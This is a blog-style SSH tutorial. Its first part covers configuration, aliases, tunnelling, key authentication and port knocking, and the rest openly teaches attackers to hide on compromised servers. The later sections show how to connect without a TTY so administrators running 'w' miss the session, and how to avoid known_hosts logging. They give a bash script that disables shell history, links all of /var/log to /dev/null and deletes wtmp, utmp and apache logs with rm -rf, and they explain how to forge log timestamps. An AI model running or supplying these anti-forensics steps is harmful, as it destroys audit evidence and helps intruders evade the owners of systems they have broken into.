This will be a guide on how to make the most of your SSH server, and also how to make the most of someone else’s SSH server 😉 — The topics covered will be how to effectively secure an SSH server, some cool ways of customizing your server to make it unique, and some useful tricks for connecting in a more secure manner. On the flip side of the coin, this guide will also be covering some techniques that can be used to clean up after yourself on a compromisedserver that you have shell access to. It will teach you some basic tricks to avoid detection from the sysadmin, and basicmethods of covering your tracks. By no means is this guide supposed to be used for any malicious purposes. We believe the best way of learning is to learn from the perspective of an attacker, so we will be covering some methods of evading detection in the way that an attacker would. This will not be covering comprehensive or advanced methods of evasion, but it will be covering the basics along with means of covering your tracks. In later blog posts, we will be covering more advanced methods of evading detection once inside a compromised server. This is aimed at covering a bunch of basic subjects for beginners to SSH. Future tutorials will be based more around maintaining access and evading detection.

Introduction:

I’m going to assume that everyone reading this already knows what an SSH Server is (otherwise, seriously?!) — in this guide I will begin by covering the basics of SSH. I’m not going to explain how to install an SSH Client or SSH Daemon (JUST RTFM), but I am going to be explaining how to properly connect to SSH, and how to use SSH tunnelling in order to obscure your IP address. Although I’m skipping an explanation of the installation process of an SSH Daemon, I will be explaining some steps that you can take to secure your SSHD once it is installed and configured. In addition to this, I will be showing you how to customize your SSH server to give it your own unique feel, because there’s no place like 127.0.0.1 (well except maybe some cool places I heard of such as 0.0.0.0 and ::1 … I hear they’re pretty similar)

In the second section of the guide, we will be looking at things from the perspective of an attacker wanting to maintain access to a compromised server. This will be covering some methods of evading detection and also methods an attacker could use to clean up after themselves once they’re done with everything they need to do regarding the compromised server. There are many methods of evading detection, but I will only be covering a few of the more basic ones in this guide.

In case you’re living in the dark ages and aren’t aware of what SSH actually is, then I’ll offer an explanation here (although really you should just google it). SSH stands for ‘Secure Shell’ and it is an encrypted networking protocol which allows users to remotely login to other machines. If you’re old, then think telnet but sending data securely. It uses client/server based communication, and you would have an SSH Daemon installed and configured on your server which you would connect to via use of an SSH Client. Generally, the most common SSH Daemon is OpenSSH, and the most common SSH client for Windows is ‘PuTTy’ — If you’re using Linux or Mac then you already have an SSH client installed by default.

If you aren’t familiar at all with SSH, then this blog post will be useless for you. I’d suggest learning Linux Terminal Commands (so you can actually navigate your way around an SSH server) and bash shell scripting in general. If you need some help with a certain command, then the man command is your best friend. For example, let’s assume you’re trying to use the ls command but you’re not too familiar with the options available for it, then you could use the following command to view a “help menu” of sorts (known as a manual page, hence man), for example, the following command:

man ls

would give you an output that looks something like this:

As you can see, using the man command will give you information on how to use a specific command. This will allow a novice Linux user to familiarize themselves with the available options for the related command. For example, from here they can see that adding the -a flag to ls will also display hidden files (dotfiles)

As stated above, if you don’t already know your way around a Linux server and aren’t familiar with SSH, then read up on it, learn it, then come back to this guide. There are probably only a few dozen commands that you will need to memorize in order to navigate around an SSH server semi-efficiently, but I’m not going to be getting into any of that here. This guide assumes that you already understand all of this stuff.


Customizing and Optimizing your SSH experience:

Before moving onto the security aspects of SSH, I’ll first be discussing some tricks that you can use to both customize and optimize your usage of SSH. Using these methods will allow you to make your connections to SSH happen faster, it will allow you to create your own custom interface while using SSH, and it will demonstrate some very useful commands and edits to files that can be made in order to optimize your SSH experience as much as possible.

This guide is going to be assuming OpenSSH is the SSH daemon in use, therefore many of the concepts discussed here will apply specifically to that and may not work as intended with lesser-known SSH daemons. One file you should definitely be familiar with while setting up your SSH server is your SSH Configuration file, this can generally be found at the following path:

~/.ssh/config

One useful tweak that can be made to this file will allow you to speed up your SSH connections:

Host *
ControlMaster auto
ControlPath ~/tmp/%r@%h:%p

This allows you to reuse an existing connection to a remote host while opening additional connections. This will drastically speed up the length of time it takes to initiate your SSH connection in instances such as this.

When connecting to a fresh SSH server which hasn’t been customized, you’ll be greeted with a pretty boring and generic looking ‘homepage’ (this will vary based on your hosting provider, any settings in /etc/motd and the distro in use). Here’s an example of what a fresh connection to SSH would look like:

Upon your first connection to a new SSH server (assuming it’s your server) would be to apt-get upgrade && apt-get update in order to ensure all of your software reposiories are up to date.

The alias command is seriously underrated and can honestly be a godsend. This can save you so much time during a penetration test, or just for navigating your SSH server in general. For example, let’s assume that you want to run the following command with the following flags:

nmap -v -p 1-65535 -sV -O -sS -T4 127.0.0.1

It could get pretty annoying if you use this command often and need to add the necessary flags for which port ranges to scan, what timing to use, enabling stealth scanning, enabling verbose output, and OS / Service Version detection. Having to remember the names for the flags and their purposes, and having to manually type them out every time you want to run a scan would be time consuming and pointless. Instead, you could set an alias command so that when you type ‘nmap’ it automatically has all of these flags ready for you, here is an example:

alias nmap="nmap -v -p 1-65535 -sV -O -sS -T4"

Now you can just use the following command:

nmap 127.0.0.1

Which would allow you to achieve the same result as an nmap scan with all of those additional flags added (rather than just a default non-stealth scan checking for common ports which is what would usually be ran if you typed ‘nmap’ alone with no additional flags added. It’s a good idea to add aliases to ensure your preferred flags are present for commonly used commands, although it seems like it’s only going to save you a little bit of time, in the long run it can save you a lot of time overall. For example if you want additional output when getting a directory listing then it’d make sense to set something such as alias ls="ls -alhF" which would mean that every time you wanted to output a directory listing, it would do so with your preferred flags rather than you having to manually add the additional flag each time you used the command.

Personally I also sometimes use alias in order to get around common typos, for example if you often type ‘suod’ instead of ‘sudo’ by accident, you could set alias suod="sudo"

In order to have your aliases set permanently, you need to add them to your .bashrc file. This file has many uses, some of which will be explained here. In addition to creating permanent alias rules, it is also possible to change the colour of your terminal based on whether you’re making an SSH connection to a remote server. This is done through the PS1 value in bashrc. It is also possible to add custom colours in /etc/motd to load upon connecting to SSH. An efficient way to customize this is to use the following site: http://ezprompt.net/ — there isn’t much point going into depth with methods for customizing /etc/motd or custom .bashrc files, although for MOTD in addition to terminal colours I would definitely recommend ‘screenfetch’ as a pretty util to greet you upon connecting.

The following command is definitely worth mentioning if you have any issues with internet connectivity:

autossh -M50000 -t server.example.com ‘screen -raAd mysession’

This will cause your SSH session to remain open forever, despite any connectivity issues. While I’m covering this, I would definitely suggest using screen or tmux for running applications within SSH, as it can be highly useful.

For example, if you were using irssi to lurk on IRC then you could do the following:

  • screen irssi (launches irssi in a screen session)
  • CTRL +A +D (minimizes the screen session and leaves it running in background)
  • screen -ls (lists all available screen sessions)
  • screen -r PID (re-opens a currently running screen session)

This allows your shell sessions to be far more organized, and also allows you to have multiple instances of the same program running in the background, even while you’re not connected via SSH.


SSH Tunnels:

Although this is a very common concept which is often used by many people, I still hear people who have no idea what SSH tunnelling even is, so I’ll give a quick guide here. This can be very useful for covering your tracks online.

Setting up an SSH tunnel is relatively easy, and it will act as a proxy or VPN of sorts, allowing you to route all of your traffic through your SSH server before reaching the destination site. You would do this by configuring the proxy settings for the application which you would like to tunnel. If you’re using Linux, this is relatively straightforward and can be done by adding some additional flags to the ‘ssh’ command. If you’re using Windows, then you need to change some options within your SSH client in order to perform tunnelling.

The image below is a good way of visually displaying how SSH tunnels work:

For windows users, I will offer a quick guide on how to do this with PuTTY as your client:

First, load up putty and select the ‘SSH’ option from the drop-down menu on the left-hand side of the interface.
Next, select ‘Tunnels’ from the drop-down menu and add the port which you want to tunnel through in order to foward it

After this, you want to save the PuTTY configuration (so you don’t have to re-do this EVERY time you would like to tunnel your traffic through SSH). You then need to configure the application you’re going to be using to route traffic through your SSH tunnel. For the purpose of this tutorial, I will be using Mozilla Firefox as an example.

To configure Firefox to tunnel through your SSH server, you would go into Options -> Advanced -> Network -> Connection Settings and modify the values in there.

For those of you wanting to save a precious 10 seconds, simply navigate to the following in your address bar:

about:preferences#advanced

Once you have the connection settings menu open, you will want to select the Manual Proxy Configuration option, select SOCKS5, then set the values to ‘localhost’ or ‘127.0.0.1’ and the port to the port that you configured in the tunnelling settings (in this case ‘1337’ was used). Ensure that you remove localhost from the ‘no proxy for’ box:

After these steps have been followed, your traffic should be getting routed through your SSH server acting as a proxy.

SSH Tunnelling definitely has its advantages. It allows you to mask your IP address and ensures that all of your traffic is encrypted. In comparison to configuring your browser to use a regular SOCKS5 proxy (e.g. one found online as a result of google), you’ll notice a huge difference in terms of speed when choosing to tunnel through SSH instead. In most cases it will barely even affect the amount of time it takes for a webpage to load, whereas with the likes of TOR or a generic SOCKS5 proxy, you will generally notice latency.

Tunnelling on Linux is more straightforward (due to the fact Linux distributions have native SSH support in the terminal, as opposed to a third-party client needing to be used and configured which is the case with Windows) — To tunnel in Linux, there are two main options. To forward ports locally, It’s simply a case of adding the -L flag to the SSH command within your terminal, alongside the port which you wish to forward, here’s what an example command should look like to SSH tunnel in Linux:

ssh -L 1337:http://example.com:80 you@your-box.com

You could test his by navigating to http://localhost:1337 in your browser (before configuring it to route all of your connections through the local proxy) — if it works as expected then navigating to http://localhost:1337 would take you to http://example.com — this option is best to use if you’re planning on making a tunnel to a specific website (or service, e.g. POP3/IMAP or an SQL server), rather than for tunnelling in general. If you just want to forward the port locally without initiating a connection to your SSH server, then add the -N flag to your command which will allow you to do so.

The above option is good to know (as a reference in general) but the OpenSSH Client has SOCKS4/5 support by default. Tunnelling with the -L flag isn’t useful for general browsing, but it is good if you want to access a service behind a firewall or you wish to forward ports locally.

You can use the -D flag along with the specified port to utilize this and have all of your connections routed through your SSH server, from there it would just be a case of configuring your browser (or other application of choice) to tunnel through SSH using the port that you forwarded. An example of this would look like so:

ssh -D 1337 you@your-box.com

This option is the easiest and most logical way to tunnel, as opposed to using the -L flag which does have its uses but isn’t useful if you want to tunnel all of your connections through your SSH server. Just remember that in addition to making the connection to your SSH server, you must also configure the application to route connections through localhost and the port that you specified in order to act as a proxy. As you should be able to see, tunnelling in Linux is more straightforward as it’s just a case of adding the -D flag and the port which you want to tunnel through to the ‘ssh’ command, rather than having to edit the configuration for a third-party client as is the case with Windows. If you’re using Windows, then always remember to save your PuTTy config — if you don’t save your config then you’ll have to redo the steps listed above every time you wish to tunnel through your SSH server.

It should be noted that you can also tunnel through multiple hops at once, this is known as “daisy chaining”, this can be done like so:

connecting to the first server:

ssh -L1337:localhost:1337 you@first-hop

connecting to the second server via the first:

ssh -L1337:localhost:1337 you@second-hop

… and so on, for as many hops as you choose. It should also be noted that this can be done as a one-liner:

ssh -v -L1337:localhost:1337 youT@first-hop -t ssh -v -L1337:localhost:1337 you@second-hop -t ssh -v -L1337:localhost:1337 you@third-hop

You may have noticed that within the one liner, there are some additional flags which aren’t present outside of the one-liner. Those flags are “-t” and “-v”

the “-t” flag is used to chain multiple commands, and the “-v” flag is for verbose mode.


Connecting via SSH in a secure manner:

This section won’t be talking about connecting using RSA keys for authentication (although you should definitely be doing that), but it will rather show you some ways of connecting to an SSH server and the benefits of using some additional flags while using the ‘ssh’ command to connect to the server (whether yours or someone else’s).

Our old friends over at GNY (greetz to str0ke, miss you buddy) were the first to document some of these techniques, but they are very useful and (although a little outdated) certainly worth covering.

To connect via SSH on Windows, you’d generally use a GUI-based client such as PuTTy. On the other hand, while connecting on Linux, this would generally be done through the use of a simple terminal command. Many users would connect to SSH via Linux like this:

ssh user@host.com

If you initiate an SSH connection in that manner, then I’m sorry to tell you but you’ve been doing it wrong your whole life. The ‘ssh’ command has flags available (as displayed in the previous section). For the love of god, use them (‘man ssh’ for a full list). For example, adding the -T flag to your command will prevent a TTY from being spawned upon login, meaning that you’re hidden from the output when an admin runs a command such as ‘w’. There are some technical issues that arise regarding not using a TTY (some commands not outputting properly and some programs not working as intended) but this can be avoided by creating a pseudo-TTY via python. If your command outputs are too large to be displayed in the pseudo-TTY then simply pipe the output of your command through ‘cat’.

To spawn a pseudo-TTY in this manner, the following script can be used (Not written by me, the author is storm from GNY. Reminder that that’s not ‘efnetsent’ the wannabe LulzSec member. That’s a different storm.):

 python -c ‘import pty;pty.spawn(“/bin/sh”)’
 perl -e’print “$_\n” for ( 1 .. 20 )’ > /tmp/count
 perl -e’print “$_\n” for ( 1 .. 20 )’ > /tmp/count
 less /tmp/count

Ideally, you should be initiating connections to SSH in a manner like this:

ssh -o -T UserKnownHostsFile=/dev/null user@host.com bash -i -4 -C -c blowfish-cbc

Now, to give you a quick rundown on how this is working:

  • The -T flag prevents a TTY from being allocated upon login, as mentioned above.
  • The bash -i flag will simulate a prompt for you, since the lack of a TTY will mean no prompt
  • The -o flag alongside setting UserKnownHostsFile to /dev/null will result in nothing being logged to known_hosts when you connect
  • -4 will force IPv4 connectivity
  • -C will compress the stream cipher
  • -c blowfish-cbc will specify ‘blowfish’ for the encryption type for stream cipher.

Assuming you just want your server to execute a command rather than initiate a terminal session, this can be done like so with the -p flag:

ssh -p 2222 username@hostname whoami

The above command would initiate a connection to the SSH server for the sole purpose of running a user-specified command and displaying the output, rather than the connection to the server being ‘persistent’ — I’ll go more in-depth into this in the future and will also cover distributed SSH server management through software such as Ansible, but for now I’m just wanting to touch lightly upon as many different areas as possible.


Securing your SSH Server:

So, the first thing you want to do when setting up an SSH server is ditch passwords completely as your primary form of authentication. Instead, you should be using key-based authentication which I will describe how to configure. Not only should key-based authentication be used, but your private key should be protected with a passphrase for an additional layer of security.

For those of you who don’t know how key-based authentication works, you have two keys. A public key, and a private key. The public key can be shared anywhere (it doesn’t matter if people see it). This is the key that will be on your server. Your private key on the other hand should never be shared. When connecting to your server, your SSH client will share the private key with the server, and in return the server will then check whether it matches the public key. If there is a match, then you will be connected to the server. This is a far more secure alternative to using passwords to login.

We will be using ssh-keygen to generate a 4096-bit public/private RSA keypair. I will also be describing how to do this in Windows via PuTTy, but first I’ll demonstrate how it’s done on the SSH server itself. The following command would be ran to generate a 4096-bit RSA keypair:

ssh-keygen -b 4096

the -b flag allows you to set the number of bytes for the RSA key. You will see some people using the -t flag (which is used to set the type of key in use i.e. ssh-keygen -t RSA) but there is no need to do this as if this flag is not specified then RSA will be used by default (which is what we want). As for setting the number of bits, 2048 will more than likely suffice, but why settle for that when you can generate one with 4096 bits (thus more secure)? It is possible to generate RSA keys with larger numbers of bits, but there really isn’t any need (and it will be time-consuming).

You will be asked where to store your key, the default location works fine (which is your home directory and named id_rsa by default, whereas your public key will be id_rsa.pub by default). You may want to set it to a non-default location, but there isn’t really too much of a need.

Once your key has been generated, you will be prompted to (optionally) set a passphrase for your key. Make sure to do this — you now have two layers of security, so if someone manages to somehow obtain your private key, they still have a password to deal with in addition to that.

In addition to this, I would suggest using iptables rulesets in order to setup white-based IP address filtering. This means that in the case someone manages to grab your keys that you use for authentication, they still can’t connect unless they are using an IP address that you permitted within iptables. If you aren’t familiar with iptables I would definitely suggest learning how to use it properly as it has a wide variety of uses including several positive security implications.

I’m going to describe two separate ways of IP address whitelisting for SSH. The first will demonstrate usage of /etc/hosts to set allow and deny rules, and the second will demonstrate how to achieve the same result using iptables. There are a bunch of other uses relating to iptables that will allow you to help secure your server, but for now I’ll only be covering this. At a later date I may write a more in-depth tutorial on using iptables.

Although iptables and hosts files have many similarities, there are noticeable differences in functionality. I will be covering both, the choice of which to use is yours (personally I think it’s a good idea to have both setup so you have a fall-back mechanism in the case that one of them fails for some reason).

/etc/hosts is the path to the hosts file for Linux. In Windows, this was formerly hosts.txt or just hosts but now it has a similar path to that of Linux (C:\blah\System32\drivers\etc\hosts) — TCP-wrappers will reference these files in Linux. Specifically, they will parse data from hosts.allow and hosts.deny which is where you can setup rules for IP address filtering. To do this you would cd into the directory where the hosts file is located, then you would create (or edit) hosts.allow and hosts.deny — here is a one-liner that will allow you to do just that (traversing back some directories just in case you’re a dumbass who’s sitting in the wrong directory):

cd ../../../../../etc/;touch hosts.allow;touch hosts.deny

Now, before getting into specific rules to add to these files, it’s worth pointing out the order in which TCP wrappers will reference these files (as without understanding this you could unintentionally cause conflicting rules) — also, I’m not going to go into detail on this, but /etc/hosts access rules can have lots of potential uses for an attacker who has compromised a server and has SSH access (I will be covering this in the first section of our “How to hack like a ninja” multi-part tutorial series). Within this guide I will only be discussing the defensive aspects of hosts file access rules rather than the offensive aspects (of which there are plenty).

So, there are a few things you need to remember when configuring hosts.allow and hosts.deny in Linux:

  • The TCP-Wrapped service will always check hosts.allow and apply those rules first before moving on to hosts.deny secondly.
  • Due to this, if there was a conflict where an allow rule was set in hosts.allow and there was a conflict disallowing it in hosts.deny then the rule set in hosts.allow would take priority over the rule set in hosts.deny — it would override it.
  • Both files are read sequentially from top to bottom. This means the order in which you apply the rules actually matters, if you put it into a random order then you may get an unintended outcome.
  • the character is used as the syntax for single-line comments. Multi-line comments are not an option.

It will save you time if you customize your SSH config file to have aliases for each of your hosts (assuming that you have multiple boxes which you SSH into):

Host alias1
HostName example.com
Port 1337
User someuser
IdentityFile ~/.ssh/id_example
IdentitiesOnly yes

Host alias2
HostName 13.37.37.13
User alias2
PubkeyAuthentication no

Host alias3
HostName some.address.ec2.aws.com
User alias3
IdentityFile ~/.ssh/aws_identity.pem
IdentitiesOnly yes

With aliases set in a config file, you could then just do ssh alias1 rather than having to manually specify the port, username, and other information upon connecting each time.

In addition to what I’ve mentioned above, enabling something like port knocking can be a good idea. You should always be keeping any services up-to-date and I would suggest kernel-hardening patches such as grsecurity to be in use.

For port knocking, you will need to install knockd then it can be done like so:

knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000

An example associated config file would look like so:

[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 3000,4000,5000
seq_timeout = 5
command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 5000,4000,3000
seq_timeout = 5
command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT
tcpflags = syn

This will allow you to ‘knock’ on ports in a certain sequence in order to open or close them.

As an alternative to port knocking, techniques such as shroud.c from ‘the art of exploitation’ can create security through obscurity, displaying all ports as open when they are in fact closed or filtered:

#include <libnet.h>
#include <pcap.h>
#include "hacking.h"
#define MAX_EXISTING_PORTS 30
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int set_packet_filter(pcap_t *, struct in_addr *, u_short *);
struct data_pass {
   int libnet_handle;
   u_char *packet;
};
int main(int argc, char *argv[]) {
   struct pcap_pkthdr cap_header;
   const u_char *packet, *pkt_data;
   pcap_t *pcap_handle;
   char errbuf[PCAP_ERRBUF_SIZE]; // same size as LIBNET_ERRBUF_SIZE
   char *device;
   u_long target_ip;
   int network, i;
   struct data_pass critical_libnet_data;
   u_short existing_ports[MAX_EXISTING_PORTS];
   if((argc < 2) || (argc > MAX_EXISTING_PORTS+2)) {
      if(argc > 2)
         printf("Limited to tracking %d existing ports.\n", MAX_EXISTING_PORTS);
      else
         printf("Usage: %s <IP to shroud> [existing ports...]\n", argv[0]);
      exit(0);
   }
   target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
   if (target_ip == -1)
      fatal("Invalid target address");
   for(i=2; i < argc; i++)
      existing_ports[i-2] = (u_short) atoi(argv[i]);
   existing_ports[argc-2] = 0;
   device = pcap_lookupdev(errbuf);
   if(device == NULL)
      fatal(errbuf);
   pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
   if(pcap_handle == NULL)
      fatal(errbuf);
   critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
   if(critical_libnet_data.libnet_handle == -1)
      libnet_error(LIBNET_ERR_FATAL, "can't open network interface.  -- this program must run as root.\n");
   libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));
   if (critical_libnet_data.packet == NULL)
      libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
   libnet_seed_prand();
   set_packet_filter(pcap_handle, (struct in_addr *)&target_ip, existing_ports);
   pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);
   pcap_close(pcap_handle);
}
/* sets a packet filter to look for established TCP connections to target_ip */
int set_packet_filter(pcap_t *pcap_hdl, struct in_addr *target_ip, u_short *ports) {
   struct bpf_program filter;
   char *str_ptr, filter_string[90 + (25 * MAX_EXISTING_PORTS)];
   int i=0;
   sprintf(filter_string, "dst host %s and ", inet_ntoa(*target_ip)); // target IP 
   strcat(filter_string, "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack = 0");
   if(ports[0] != 0) { // if there is at least one existing port
      str_ptr = filter_string + strlen(filter_string);
      if(ports[1] == 0) // there is only one existing port
         sprintf(str_ptr, " and not dst port %hu", ports[i]);
      else { // two or more existing ports
         sprintf(str_ptr, " and not (dst port %hu", ports[i++]);
         while(ports[i] != 0) {
            str_ptr = filter_string + strlen(filter_string);
            sprintf(str_ptr, " or dst port %hu", ports[i++]);
         }
         strcat(filter_string, ")"); 
      }
   }
   printf("DEBUG: filter string is \'%s\'\n", filter_string);
   if(pcap_compile(pcap_hdl, &filter, filter_string, 0, 0) == -1)
      fatal("pcap_compile failed");
   if(pcap_setfilter(pcap_hdl, &filter) == -1)
      fatal("pcap_setfilter failed");
}
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet) {
   u_char *pkt_data;
   struct libnet_ip_hdr *IPhdr;
   struct libnet_tcp_hdr *TCPhdr;
   struct data_pass *passed;
   int bcount;
   passed = (struct data_pass *) user_args; // pass data using a pointer to a struct 
   IPhdr = (struct libnet_ip_hdr *) (packet + LIBNET_ETH_H);
   TCPhdr = (struct libnet_tcp_hdr *) (packet + LIBNET_ETH_H + LIBNET_TCP_H);
   libnet_build_ip(LIBNET_TCP_H,      // size of the packet sans IP header 
      IPTOS_LOWDELAY,                 // IP tos 
      libnet_get_prand(LIBNET_PRu16), // IP ID (randomized) 
      0,                              // frag stuff 
      libnet_get_prand(LIBNET_PR8),   // TTL (randomized) 
      IPPROTO_TCP,                    // transport protocol 
      *((u_long *)&(IPhdr->ip_dst)),  // source IP (pretend we are dst) 
      *((u_long *)&(IPhdr->ip_src)),  // destination IP (send back to src) 
      NULL,                           // payload (none) 
      0,                              // payload length 
      passed->packet);                // packet header memory 
   libnet_build_tcp(htons(TCPhdr->th_dport),// source TCP port (pretend we are dst) 
      htons(TCPhdr->th_sport),        // destination TCP port (send back to src) 
      htonl(TCPhdr->th_ack),          // sequence number (use previous ack) 
      htonl((TCPhdr->th_seq) + 1),    // acknowledgement number (SYN's seq # + 1) 
      TH_SYN | TH_ACK,                // control flags (RST flag set only) 
      libnet_get_prand(LIBNET_PRu16), // window size (randomized) 
      0,                              // urgent pointer 
      NULL,                           // payload (none) 
      0,                              // payload length 
      (passed->packet) + LIBNET_IP_H);// packet header memory 
   if (libnet_do_checksum(passed->packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
      libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
   bcount = libnet_write_ip(passed->libnet_handle, passed->packet, LIBNET_IP_H+LIBNET_TCP_H);
   if (bcount < LIBNET_IP_H + LIBNET_TCP_H)
      libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written.");
   printf("bing!\n");
}

Some basic methods of cleaning up after yourself:

After you’ve connected to SSH in a secure manner (i.e. without a TTY and without logging yourself to known_hosts), there are a bunch of extra precautions that you need to take. One of the main precautions is to delete your log files and ensure that there’s a symbolic link or HISTFILE set to /dev/null or /dev/zero in order to prevent further logging. It’s best to use HISTFILE as opposed to a symlink, as an admin is likely to notice the symlink if they run ls -la on /var/log or another similar directory. There are a few good ways of doing this manually (which I will be covering) but I will be providing a bash shell script that I wrote which automatically cleans up your logs for you. The script I provide will NOT be stealthy, it will be easily detected but it is a quick and dirty way of removing any logs on yourself. In addition to this, I will also be providing a method for modifying timestamps on logfiles that you could manually modify. Many people believe that timestamp values can’t be changed. This is not true. There’s a neat little trick that can be used in order to change them, I’ll explain that alongside a list of necessary log files that you should probably be deleting, before providing a bash script that automates this process.

#!/bin/bash
# The purpose of this script is to ensure that necessary log files are wiped
# This is not stealthy _AT ALL_
# If you’re looking for stealth, then use the methods described in my post
echo “Quick bash logfile cleaner”
unset HISTFILE
export HISTFILE=
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
export HISTIGNORE=*
export HISTCONTROL=ignorespace
history -c
ln -fs /dev/null .bash_history
rm .bash_history && mkdir .bash_history
find /var/log -exec ln -fs /dev/null {} \;
echo “Log files successfully wiped”
rm -rf /tmp/logs
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
rm -rf $HISTFILE

The above script attempts a few different methods of removing logs (disabling logging mechanisms via environment vars, RMing contents of /var/log, etc.)

In order to modify logs in a more stealthy manner, you can force a change to the system time and use this in conjunction with the touch command in order to modify timestamps, take the following from GNY as an example:

[root@Dysthymia ~]# date -s "2011-02-15 03:23:51"; touch test.log
Tue Feb 15 03:23:51 EST 2011
[root@Dysthymia ~]# stat test.log
File: `test.log'
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: fd01h/64769d Inode: 98059 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2011-02-15 03:23:51.001999960 -0500
Modify: 2011-02-15 03:23:51.001999960 -0500
Change: 2011-02-15 03:23:51.001999960 -0500

I have covered some fairly noisy methods here, but in an upcoming post we will be discussing stealthy methods of maintaining access to a box with a competent sysadmin.


Final Notes:

Like I said at the start, I’m not going to cover how to install and configure an SSH daemon here. The purpose of this guide was to cover configurations that can be made post-installation. For more advanced methods of covering your tracks while maintaining access to a compromised SSH server, be sure to keep an eye out for part 2 of our SSH tutorial series. The methods covered here are somewhat basic and intended as beginner-level. In our upcoming blogs on this series, we will cover more advanced methods that allow for true stealth.

./mlt –out